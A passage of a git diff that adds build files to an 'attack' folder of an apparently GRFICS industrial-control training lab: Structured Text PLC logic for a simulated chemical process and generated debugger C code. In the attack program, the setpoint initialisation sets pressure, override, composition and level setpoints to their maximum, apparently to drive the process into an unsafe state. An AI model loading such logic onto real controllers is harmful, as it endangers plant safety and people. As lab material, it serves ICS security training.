%MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), 